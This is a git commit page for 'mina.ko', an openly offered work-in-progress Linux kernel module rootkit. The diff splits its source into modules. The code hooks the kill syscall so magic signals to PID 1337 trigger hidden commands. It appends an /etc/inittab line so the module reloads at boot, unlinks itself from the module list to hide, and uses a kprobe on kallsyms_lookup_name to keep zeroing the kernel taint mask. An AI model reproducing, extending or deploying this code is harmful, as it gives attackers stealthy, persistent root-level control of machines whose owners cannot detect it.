mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 7fbf559f7b6576308566aff18f5cdb50e277d0b3
parent 83154027306b15317d205ad0fd121fb85d6191a1
Author: djnn <[email protected]>
Date: Mon, 6 Jan 2025 06:55:06 +0000

feat(implant): splitting code into modules (#1) Reviewed-on: https://evil.djnn.sh/djnn/mina/pulls/1

Diffstat:
MREADME.md | 11+++++++++--
Mrootkit/Makefile | 6+++++-
Mrootkit/includes/mina.h | 27+++++++++++++++++++++------
Drootkit/mina.c | 197-------------------------------------------------------------------------------
Arootkit/sources/mina.c | 120+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Arootkit/sources/persistence.c | 39+++++++++++++++++++++++++++++++++++++++
Arootkit/sources/stealth.c | 30++++++++++++++++++++++++++++++
Arootkit/sources/taint_reset.c | 38++++++++++++++++++++++++++++++++++++++

8 files changed, 262 insertions(+), 206 deletions(-)

diff --git a/README.md b/README.md
@@ -2,7 +2,7 @@
 
 the mina rootkit . . .
 
-experimental LKM rootkit, tested on `Linux 6.11.2`
+experimental LKM rootkit, tested on `Linux 6.1.0-28`
 
 ![screenshot](./.meta/showcase.png "project screenshot")
 
@@ -19,9 +19,16 @@ sudo make load
 sudo make unload
 ```
 
-
 ## Features
 
+- hide from ring3
+- persistence module
+- kill-hook to retrieve commands to execute
+- hide taint-kernel warning
+
+
+## Commands
+
 ### install persistence
 
 run command `kill -50 1337`
diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -7,10 +7,14 @@ help:
 	@echo "\033[34mmina.ko targets:\033[0m"
 	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
 
+# FIXME(djnn): auto-gen this ?
 MINA_CLIENT_ID = meow
 
 obj-m := mina_$(MINA_CLIENT_ID).o
-mina_$(MINA_CLIENT_ID)-objs := mina.o
+mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
+							sources/taint_reset.o \
+							sources/stealth.o \
+							sources/persistence.o
 
 
 MY_CFLAGS += -Wno-missing-prototypes -Wno-missing-declarations
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,15 +7,30 @@
 #include <linux/module.h>
 #include <linux/slab.h>
 
-// persistence
-int add_inittab_entry(char const *entry);
-
-// module_hiding
-void toggle_hide_module(void);
-
 #define PERSISTENCE_CODE (50)
 #define TOGGLE_HIDE_CODE (60)
 
 #define MAGIC_PID (1337)
 
+// stealth.c
+void toggle_hide_module(void);
+
+// persistence.c
+int add_inittab_entry(char const *entry);
+
+/* TODO(djnn): this should be configurable by the user once reverse-shell feature is active */
+#define PERSISTENCE_TAB_ENTRY ("::sysinit:/sbin/insmod /root/mina.ko\n")
+int add_inittab_entry(char const *entry);
+
+// taint_reset.c
+
+#define RESET_THREAD_NAME ("minamina") /* FIXME(djnn): autogen on compilation ? */
+#define TAINT_RESET_SLEEP_TIME (5)
+
+int zerotaint_thread(void *data);
+unsigned long *get_taint_mask_address(void);
+
+// mina.c (symbol should be exported because it uses global var but called somewhere else)
+void reset_taint_mask(void);
+
 #endif /* __KERNEL_MINA_H */
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -1,197 +0,0 @@
-#include <linux/delay.h>
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/kprobes.h>
-#include <linux/kthread.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-#include <linux/version.h>
-
-#include "includes/mina.h"
-
-/*
-    TODO(djnn):
-
-the next step is to increase the stealth of the rootkit, before we want to add
-some features.
-
-features ideas:
-- autoroot
-- hide directories
-- hide tcp-traffic (ICMP with a specific header in datafield)
-
-*/
-
-MODULE_LICENSE("GPL");
-MODULE_AUTHOR("djnn <[email protected]>");
-MODULE_DESCRIPTION("mina LKM rootkit");
-MODULE_VERSION("0.0.1");
-
-/*
- * mina.ko/rootkit
- * tiny LKM rootkit written by djnn (https://djnn.sh)
- */
-
-/* used for hooking */
-#include "includes/ftrace_helper.h"
-
-/* KILL HOOK */
-
-static asmlinkage long (*original_kill)(const struct pt_regs *);
-asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
-    int signal = regs->si;
-    int pid = regs->di;
-
-    if (signal == PERSISTENCE_CODE && pid == MAGIC_PID) {
-        const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
-        return add_inittab_entry(str);
-    }
-
-    if (signal == TOGGLE_HIDE_CODE && pid == MAGIC_PID) {
-        toggle_hide_module();
-        return 0;
-    }
-    return original_kill(regs);
-}
-
-static struct ftrace_hook hooks[] = {
-    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
-};
-
-/* required to show / hide the module (not hidden by default) */
-
-void toggle_hide_module(void) {
-    static int current_module_is_hidden = 0;
-    static struct list_head *prev_module = NULL;
-
-    if (current_module_is_hidden == 1) {
-        if (prev_module) {
-            list_add(&THIS_MODULE->list, prev_module);
-            printk(KERN_INFO "[mina] welcome back!\n");
-        } else {
-            printk(KERN_ERR "[mina] prev_module is NULL\n");
-        }
-        current_module_is_hidden = 0;
-    } else {
-        if (&THIS_MODULE->list) {
-            prev_module = THIS_MODULE->list.prev;
-            list_del(&THIS_MODULE->list);
-            current_module_is_hidden = 1;
-        } else {
-            printk(KERN_ERR "[mina] THIS_MODULE->list is NULL\n");
-        }
-    }
-}
-
-int add_inittab_entry(char const *entry) {
-    int ret = 0;
-    struct file *file;
-    loff_t pos = 0;
-
-    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
-    if (IS_ERR(file)) {
-        printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
-        return PTR_ERR(file);
-    }
-
-    if (!file || !entry) {
-        printk(KERN_ERR "[mina] Invalid file or entry\n");
-        ret = -EINVAL;
-        goto out;
-    }
-
-    ret = kernel_write(file, entry, strlen(entry), &pos);
-    if (ret < 0) {
-        printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
-        goto out;
-    }
-
-out:
-    filp_close(file, NULL);
-    return ret;
-}
-
-/* taint bypass */
-
-#define RESET_THREAD_NAME "minamina"
-
-static struct task_struct *cleaner_thread = NULL;
-static unsigned long *taint_mask_ptr = NULL;
-
-static struct kprobe probe_lookup = {
-    .symbol_name = "kallsyms_lookup_name"};
-
-static unsigned long *get_taint_mask_address(void) {
-    typedef unsigned long (*lookup_name_fn)(const char *name);
-
-    lookup_name_fn kallsyms_lookup_fn;
-    unsigned long *taint_addr = NULL;
-
-    if (register_kprobe(&probe_lookup) < 0) {
-        printk(KERN_ERR "Failed to register kprobe.\n");
-        return NULL;
-    }
-
-    kallsyms_lookup_fn = (lookup_name_fn)probe_lookup.addr;
-    unregister_kprobe(&probe_lookup);
-
-    if (kallsyms_lookup_fn) {
-        taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");
-        if (!taint_addr) {
-            printk(KERN_ERR "Could not find tainted_mask address.\n");
-        }
-    } else {
-        printk(KERN_ERR "kallsyms_lookup_name not found.\n");
-    }
-
-    return taint_addr;
-}
-
-static void reset_taint_mask(void) {
-    if (taint_mask_ptr && *taint_mask_ptr != 0) {
-        *taint_mask_ptr = 0;
-    }
-}
-
-static int zerotaint_thread(void *data) {
-    while (!kthread_should_stop()) {
-        reset_taint_mask();
-        ssleep(5);
-    }
-    return 0;
-}
-
-static int __init module_start(void) {
-    int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
-    if (error) {
-        return error;
-    }
-
-    taint_mask_ptr = get_taint_mask_address();
-    if (!taint_mask_ptr) {
-        printk(KERN_ERR "Could not get tainted_mask address.\n");
-        return -EFAULT;
-    }
-
-    cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
-    if (IS_ERR(cleaner_thread)) {
-        printk(KERN_ERR "Failed to start tainted_mask cleaner thread.\n");
-        return PTR_ERR(cleaner_thread);
-    }
-
-    printk(KERN_INFO "mina is cute ~\n");
-    return 0;
-}
-
-static void __exit module_end(void) {
-    if (cleaner_thread) {
-        kthread_stop(cleaner_thread);
-    }
-
-    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
-    printk(KERN_INFO "bye-bye mina ~\n");
-}
-
-module_init(module_start);
-module_exit(module_end);
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -0,0 +1,120 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+/*
+    TODO(djnn):
+
+the next step is to increase the stealth of the rootkit, before we want to add
+some features.
+
+features ideas:
+- autoroot
+- hide directories
+- hide tcp-traffic (ICMP with a specific header in datafield)
+
+*/
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("djnn <[email protected]>");
+MODULE_DESCRIPTION("mina LKM rootkit");
+MODULE_VERSION("0.0.1");
+
+/*
+ * mina.ko/rootkit
+ * tiny LKM rootkit written by djnn (https://djnn.sh)
+ */
+
+/* ------============= HOOKS ==============----- */
+
+#include "../includes/ftrace_helper.h"
+
+/*         ------=== KILL HOOK ===----- */
+
+static asmlinkage long (*original_kill)(const struct pt_regs *);
+asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
+    int signal = regs->si;
+    int pid = regs->di;
+
+    if (pid != MAGIC_PID)
+        goto normalkill;
+
+    switch (signal) {
+    case PERSISTENCE_CODE:
+        return add_inittab_entry(PERSISTENCE_TAB_ENTRY);
+
+    case TOGGLE_HIDE_CODE:
+        toggle_hide_module();
+        return 0;
+    }
+
+normalkill:
+    return original_kill(regs);
+}
+
+/*     ------=== HOOKS DEFINITIONS ===----- */
+
+static struct ftrace_hook hooks[] = {
+    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
+};
+
+/* --------------------------------------------- */
+/* ------======= Reset taint marker =======----- */
+
+static struct task_struct *cleaner_thread = NULL;
+static unsigned long *taint_mask_ptr = NULL;
+
+void reset_taint_mask(void) {
+    if (taint_mask_ptr && *taint_mask_ptr != 0) {
+        *taint_mask_ptr = 0;
+    }
+}
+
+/* --------------------------------------------- */
+/* ------====== start / end routines ======----- */
+
+static int __init module_start(void) {
+    int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
+    if (error) {
+        return error;
+    }
+
+    taint_mask_ptr = get_taint_mask_address();
+    if (!taint_mask_ptr) {
+        printk(KERN_ERR "[mina] Could not get tainted_mask address.\n");
+        return -EFAULT;
+    }
+
+    reset_taint_mask();
+    cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
+    if (IS_ERR(cleaner_thread)) {
+        printk(KERN_ERR "[mina] Failed to start tainted_mask cleaner thread.\n");
+        return PTR_ERR(cleaner_thread);
+    }
+
+    printk(KERN_INFO "mina is cute ~\n");
+    return 0;
+}
+
+static void __exit module_end(void) {
+    if (cleaner_thread) {
+        kthread_stop(cleaner_thread);
+        reset_taint_mask();
+    }
+
+    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
+    printk(KERN_INFO "bye-bye mina ~\n");
+}
+
+/* --------------------------------------------- */
+
+module_init(module_start);
+module_exit(module_end);
diff --git a/rootkit/sources/persistence.c b/rootkit/sources/persistence.c
@@ -0,0 +1,39 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+int add_inittab_entry(char const *entry) {
+    int ret = 0;
+    struct file *file;
+    loff_t pos = 0;
+
+    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
+    if (IS_ERR(file)) {
+        printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
+        return PTR_ERR(file);
+    }
+
+    if (!file || !entry) {
+        printk(KERN_ERR "[mina] Invalid file or entry\n");
+        ret = -EINVAL;
+        goto out;
+    }
+
+    ret = kernel_write(file, entry, strlen(entry), &pos);
+    if (ret < 0) {
+        printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
+        goto out;
+    }
+
+out:
+    filp_close(file, NULL);
+    return ret;
+}
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -0,0 +1,30 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+void toggle_hide_module(void) {
+    static int current_module_is_hidden = 0;
+    static struct list_head *prev_module = NULL;
+
+    if (current_module_is_hidden == 1) {
+        if (prev_module) {
+            list_add(&THIS_MODULE->list, prev_module);
+            printk(KERN_INFO "[mina] welcome back!\n");
+        } else {
+            printk(KERN_ERR "[mina] prev_module is NULL\n");
+        }
+        current_module_is_hidden = 0;
+    } else {
+        prev_module = THIS_MODULE->list.prev;
+        list_del(&THIS_MODULE->list);
+        current_module_is_hidden = 1;
+    }
+}
diff --git a/rootkit/sources/taint_reset.c b/rootkit/sources/taint_reset.c
@@ -0,0 +1,38 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+unsigned long *get_taint_mask_address(void) {
+    typedef unsigned long (*lookup_name_fn)(const char *name);
+
+    /* symbol is not exported in modern kernels, so we use a kprobe to get the function address */
+    struct kprobe probe_lookup = {
+        .symbol_name = "kallsyms_lookup_name",
+    };
+
+    if (register_kprobe(&probe_lookup) < 0) {
+        printk(KERN_ERR "Failed to register kprobe.\n");
+        return NULL;
+    }
+
+    lookup_name_fn kallsyms_lookup_fn = (lookup_name_fn)probe_lookup.addr;
+    unregister_kprobe(&probe_lookup);
+
+    return (kallsyms_lookup_fn) ? (unsigned long *)kallsyms_lookup_fn("tainted_mask") : NULL;
+}
+
+int zerotaint_thread(void *data) {
+    while (!kthread_should_stop()) {
+        reset_taint_mask();
+        ssleep(TAINT_RESET_SLEEP_TIME);
+    }
+    return 0;
+}